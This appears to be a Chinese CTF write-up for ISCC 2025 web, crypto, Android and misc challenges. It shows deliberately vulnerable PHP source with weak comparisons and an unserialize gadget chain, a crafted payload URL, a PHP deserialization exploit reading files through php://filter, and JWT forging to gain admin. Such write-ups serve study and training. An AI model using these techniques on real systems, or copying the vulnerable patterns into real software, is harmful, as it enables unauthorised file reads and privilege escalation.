半决赛

回归基本功

“金铲铲”最强王者选手小睿来到了新赛季“赛博之城”,面对全新的版本,他试图重回最强王者段位,但却总是屡屡失败,他不由感叹:“归根到底还是基本功不够扎实,回归基本功,从代码中找到上分密码flag吧!”

题目中有提示

(注意:需要输入正确的“用户代理”身份标识与英雄名称)

(例如选择“鳄霸雷克顿”,需要输入对应的拼音全称,首字母大写,即“EBaLeiKeDun”)

( “EBaLeiKeDun”(鳄霸雷克顿)与“ShengLingShiZheLeiKeDun”(圣灵使者雷克顿)是不同的答案 )

修改UA头找到下一关内容

image-20250510225829102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
if(intval($b) == 'jibengong')
{
if(strpos($b, "0")==0)
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
else
{
$$c = $a;
parse_str($b,$huiguiflag);
if($huiguiflag[$jibengong]==md5($c))
{
echo $flag;
}
else{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
?>

基础的弱比较,然后就是传参参数的特性

_来bypass

1
http://112.126.73.173:9998/Q2rN6h3YkZB9fL5j2WmX.php?huigui[jibengong.1=1&huigui[jibengong.2=%0A0=0%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong

image-20250510230002538

哪吒的试炼

哪吒面临一项艰难的试炼,他需要解开封印才能获得最终的力量。

根据提示传参?food=lotus root获得isflag.php路由,f12

image-20250512120418786

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if (isset($_POST['nezha'])) {
$nezha = json_decode($_POST['nezha']);

$seal_incantation = $nezha->incantation;
$md5 = $nezha->md5;
$secret_power = $nezha->power;
$true_incantation = "I_am_the_spirit_of_fire";

$final_incantation = preg_replace(
"/" . preg_quote($true_incantation, '/') . "/", '',
$seal_incantation
);

if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
show_flag();
} else {
echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
}
} else {
echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>

双写+弱比较绕过

1
nezha={"incantation": "I_am_the_spirI_am_the_spirit_of_fireit_of_fire","md5": "240610708","power": "QNKCDZO"}

image-20250512121656329

然后找对应关系:明拆分成日,月 日对应sun月对应moon然后月翻转,n去掉即可得到suoom

得到flag->ISCC{suetsueergwooniwwoooowsilrow}

ShallowSeek

ShallowSeek - 探索已至之境

image-20250512121909480

查看室友带饭问题

image-20250512121949782

查看三个历史记录

1
2
3
4
出题建议:AI这么火不蹭一下热度?可以从AI相关的输入处理等方向入手,保持题目趣味性和可用性。
实在不行,你还能加点密码学,CTF一家亲嘛!要是不想用经典加密方式,我给你提供个好玩儿的:
以下为示例:
原文:WebIsEasy,密钥:4351332,密文:IbaWEssey。什么加密逻辑?你仔细想想呗。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
嗯,用户的问题是关于室友A让B带午饭的具体内容,需要确定B应该带什么回来。首先,我需要仔细分析A的微信消息内容:“可以给我带个午饭吗,两个玉米最好,不然就两个馒头,二两牛肉加一个红烧鸡腿。”这里的关键是理解A的请求是否有优先级或者替代选项。
……
总结下来,A可能表达的意思是:


from dininghall import food_species

food = []

if food_species.corn.exist() == 1:

food.append("2 corns")

else:

food.append("2 buns")

food.append("2 pairs of beef")

food.append("1 chicken leg")


而B则认为:


from dininghall import food_species

food = []

if food_species.corn.exist() == 1:

food.append("2 corns")

else:

food.append("2 buns")

food.append("2 pairs of beef")

food.append("1 chicken leg")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
请你模仿《滕王阁序》,为诸葛亮躬耕地“卧龙岗”写一篇骈文
《卧龙岗赋》

秦川余脉,楚塞遗峰。北望嵩岳之巍巍,南枕汉水之汤汤。岩壑藏云,隐鹿门高士之迹;桑麻蔽野,接隆中耕读之庐。地非膏腴,有嘉禾生陇上;民多朴拙,闻弦歌起林间。时序更迭,春犁破霜泥未暖;星斗回转,夜烛映简册犹寒。

若夫草堂半掩,竹径深幽。篱落疏疏,时见牵牛引蔓;书声朗朗,每随野鹤穿松。荷锄南亩,非耽菽粟之乐;抱膝危石,独怀寰宇之谋。观天象于牛背,察风云于陇头。蓑衣懒问洛阳雨,羽扇遥指赤壁舟。

于是玄德驱驰,殷勤三顾。茅檐低矮,难遮经纬雄谈;鼎足峥嵘,早定江山劫数。新野火飞,初试卧龙鳞甲;江东涛怒,再扬季汉旌旗。八阵图成,石吞吴江雪浪;七弦琴动,音压渭北秋声。祁山月冷,犹照出师之表;五丈原空,长留堕泪之碑。

嗟乎!渭水钓名,终南捷径,岂若此岗之澹泊?功成三鼎,身殒一星,竟全臣节之孤贞。南阳之垄,不种功名种松柏;西蜀之祠,未祀君王祀鱼樵。风过岗峦,似说前朝旧事;霞栖陇亩,如焚季汉余晖。

今我来思,凭轩怀古。木牛流马,已化童竖戏谈;《诫子》《出师》,犹振书生肝胆。岗前柏老,曾荫先生石砚;云外鹤回,可识故国山川?长揖空庭,唯见:

一庐烟雨锁荆襄,
半世风云入酒狂。
垄上星沉八阵寂,
扇头尘落九州凉。
心同渭水苔封鼎,
名共祁山月满冈。
莫道草堂龙已卧,
至今雷动汉家江!

直接写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def decrypt(a: str, key: str) -> str:
d = [int(x) for x in key]
n = len(a)
i = list(range(n))
o = []
for x in d:
p = x - 1
if p >= len(i):
raise ValueError(f"{len(i)} too short for {x}")
o.append(i.pop(p))
o.extend(i)
r = [''] * n
for c, p in enumerate(o):
r[p] = a[c]
return ''.join(r)


print(decrypt("0@_cu_5_1r3lw@y5wn5!}", "387531189"))

image-20250512122347945

拼接前半段即可

决赛

谁动了我的奶酪

有一个输入框 任意输入回显

image-20250518122440667

多次尝试后发现为tom

image-20250518122459377

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";

class Tom{
public $stolenCheese;
public $trap;
public function __construct($file='cheesemap.php'){
$this->stolenCheese = $file;
echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
}
public function revealCheeseLocation(){
if($this->stolenCheese){
$cheeseGuardKey = "cheesemap.php";
echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
$this->stolenCheese = str_rot3($cheeseGuardKey);
}
}
public function __toString(){
if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
}else{
$this->trap['trap']->stolenCheese;
return "Tom";
}
}

public function stoleCheese(){
$Messages = [
"<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
"<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
"<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
"<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
];
echo $Messages[array_rand($Messages)];
$this->revealCheeseLocation();
}
}

class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
$this->searchForCheese($this->secretHidingSpot);
}
}

class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?";
}
}

if (isset($_GET['cheese_tracker'])) {
unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
$clue = $_GET["clue"];
$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
if (unserialize($clue)){
unserialize($clue)->squeak = "Thief!";
if(unserialize($clue)->shout === unserialize($clue)->squeak)
echo "cheese is hidden in ".$where;
else
echo "OHhhh no!find it yourself!";
}
}

?>

反序列化实现文件读取clue.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Jerry {
public $secretHidingSpot;
public $squeak;
public $shout;

}

class Cheese {
public $flavors;
public $color;
}

$a = new Jerry();
$a->secretHidingSpot = "php://filter/convert.base64-encode/resource=clue.php";
$b = new Cheese();
$b->color = serialize($a);

echo urlencode(serialize($b));

image-20250518122825536

得到(根据源码UA头改一下)

image-20250518123742551

image-20250518123542029

那么再次构造exp 将clue.php换成flag_of_cheese.php即可

得到

image-20250518123420141

得到前一半flag

image-20250518123449092

根据flag1的php文件名解码得到cheeseOne

image-20250518123818753

构造chees2

image-20250518123849950

得到

image-20250518123911020

查看源码发现

image-20250518123940498

解密后发现可能为jwt密钥

image-20250518124026256

image-20250518124119176

user改为admin 将密钥填入

image-20250518124317972

认证成功

image-20250518124342998

进入flag界面

image-20250518124409217

与0x16异或得到flag

image-20250518124524114

ISCC购物中心

1/1登录非预期了

初始积分99999,在首页中修改前端代码兑换flag

观察前端代码

将hidden删除

image-20250518125235723

image-20250518125704753

获得flag

image-20250518125726414

登录用户管理系统

image-20250518125755593

解密

image-20250518125843335

解密

1
2
3
4
5
a = "_EUUmpVxbw#b7uE~&ff7xq%nfSd7sxusk"
b = a.encode('utf-8')
re = bytes([b ^ 0x16 for b in b])

print(re.decode('utf-8'))

image-20250518130005647

安卓-GGAD

雷电找到关键字符

image-20250518132820767

看源码

image-20250518133036781

查看c.a的返回值

image-20250518133148603

剩下的拿给ai审一下 编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# -*- coding: utf-8 -*-
# RC4 + Vigenère 解密组合脚本
# 作者:你自己
# 功能:恢复最终 flag

# ---------------------- Vigenère 解密 ----------------------

def vigenere_decrypt(text, key):
decrypted_text = []
key_index = 0

for char in text:
if char.isalpha():
key_char = key[key_index % len(key)].upper()
shift = (ord(char.upper()) - ord(key_char) + 26) % 26
decrypted_char = chr(shift + ord('A'))

decrypted_text.append(decrypted_char.lower() if char.islower() else decrypted_char)
key_index += 1
else:
decrypted_text.append(char)

return ''.join(decrypted_text)

def decrypt(text, key='ExpectoPatronum'):
return vigenere_decrypt(text, key)

# ---------------------- RC4 加解密模块 ----------------------

def rc4_ksa(key):
"""RC4密钥调度算法(KSA)"""
if isinstance(key, str):
key = key.encode()

S = list(range(256))
j = 0

for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

return S

def rc4_prga(S, data):
"""RC4伪随机生成算法(PRGA)"""
if isinstance(data, str):
data = data.encode()

i = j = 0
result = []

for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
result.append(byte ^ k)

return bytes(result)

# ---------------------- 主流程逻辑 ----------------------

def main():
ci = '0100001000110100010001000011001100110111001100110100010000110000001101000011001101000110001101100100010000110000'
c0 = '65489I5Y5S3FD0'

# 第一步:Vigenère 解密
c2 = decrypt(c0)

# 第二步:将二进制字符串转为字符
c1 = ''.join([chr(int(ci[i:i + 8], 2)) for i in range(0, len(ci), 8)])

# 第三步:交错拼接 c1 和 c2
combined = ''.join(c1[i] + c2[i] for i in range(14))

# 第四步:转为十六进制字节数组
byte_array = [int(combined[i:i+2], 16) for i in range(0, len(combined), 2)]

# 第五步:构造8位二进制字符串
bit_string = ''.join(f"{byte:08b}" for byte in byte_array)

# 第六步:按位取反
inverted_bits = ''.join('1' if b == '0' else '0' for b in bit_string)

# 第七步:转回字节流
final_bytes = bytes(int(inverted_bits[i:i+8], 2) for i in range(0, len(inverted_bits), 8))

# 第八步:RC4 解密
S = rc4_ksa('ExpectoPatronum')
plaintext = rc4_prga(S, final_bytes)

# 输出 flag
print(f"ISCC{{{plaintext.decode()}}}")

if __name__ == "__main__":
main()

image-20250518133602350

misc-神经网络迷踪

看到secret_key.weight

image-20250518183606699

只有output层带bias

image-20250518183727134
转字符

1
2
3
4
5
6
7
8
9
10
11
12
import sys, torch, re

pth = sys.argv[1] if len(sys.argv) > 1 else 'C:\\Users\\31702\\Downloads\\attachment-38.pth'
sd = torch.load(pth, map_location='cpu')
bias = sd.get('output.bias')

def to_text(tensor, scale):
nums = [int(torch.round(v*scale)) & 0xFF for v in tensor]
return bytes(nums).decode()
![image-20250518184401403](C:/Users/31702/AppData/Roaming/Typora/typora-user-images/image-20250518184401403.png)
core = to_text(bias, 255) or to_text(bias, 1)
print(f"ISCC{{{core}}}")

image-20250518184406205

misc-八卦

十六进制查看到7z文件 手动分离

image-20250518190451270

上半部分是gif,下半部分是一个7z的加密压缩包,猜测密码在gif中

image-20250518190735956

拆分gif

image-20250518190903651

查看帧间隔

image-20250518190953947

1. 时间间帧232323

  • 表示六十四卦中的第23卦
  • 第23卦是 剥卦,卦象是:艮下坤上

2. 存在内容111010

  • 这是一个6位二进制数:111010。
  • 将其转为十进制:
    111010₂ = 58₁₀
  • 对应六十四卦中的第58卦,即兑为泽,卦象是:兑下兑上
卦名 编号 三爻卦 二进制
0 000
1 001
2 010
3 011
4 100
5 101
6 110
7 111

先拼接下卦,再拼接上卦,并按卦编号从小到大。

于是得到压缩包密码

乾乾坤坤坎震艮坎坎乾艮坤兑兑

image-20250518191304558

两次base64解密

image-20250518191316734